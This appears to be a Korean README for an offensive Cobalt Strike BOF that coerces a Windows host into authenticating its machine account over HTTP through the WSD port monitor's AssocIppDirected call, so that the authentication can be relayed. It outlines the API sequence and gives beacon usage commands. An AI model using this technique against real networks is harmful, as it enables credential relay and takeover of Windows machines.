IPP Coercion BOF

Windows 머신이 WSD 포트 모니터를 통해 directed IPP 연결을 트리거하여, 자신의 컴퓨터 계정(HOSTNAME$)으로 HTTP를 통해 인증하도록 강제하는 Beacon Object File(BOF)입니다. 이 기법을 통해 운영자는 머신 계정 인증을 HTTP를 통해 강제(coerce)하고 릴레이할 수 있습니다.

Windows 11 26H2에서 테스트되었습니다.

동작 방식

이 BOF는 IPP 프린터 추가 과정에서 printui.exe를 추적하고, 관찰된 API 호출 집합으로 축소하여 만들어졌습니다(Claude Opus 5.5, Frida, ETW 사용). 개략적으로 이 BOF는 다음을 수행합니다:

1. WSD 포트 모니터에 대한 구성 핸들을 엽니다 (OpenPrinterW(",XcvMonitor WSD Port"))
2. 제공된 URI로 AssocIppDirected를 호출합니다 (XcvDataW)
3. RPC를 통해 스풀러가 DeviceAssociationService를 트리거하도록 하고, 외부 연결을 수행합니다

사용법

Cobalt Strike에서 coerce-ipp.cna를 로드합니다.

beacon> coerce-ipp <ip> <port>
beacon> coerce-ipp 127.0.0.1 8082

참고 자료

• Microsoft Learn: MS-RPRN - AssocIppDirected (APMON XcvData) 사양
• Microsoft Learn: Add-Printer - Directed IPP 검색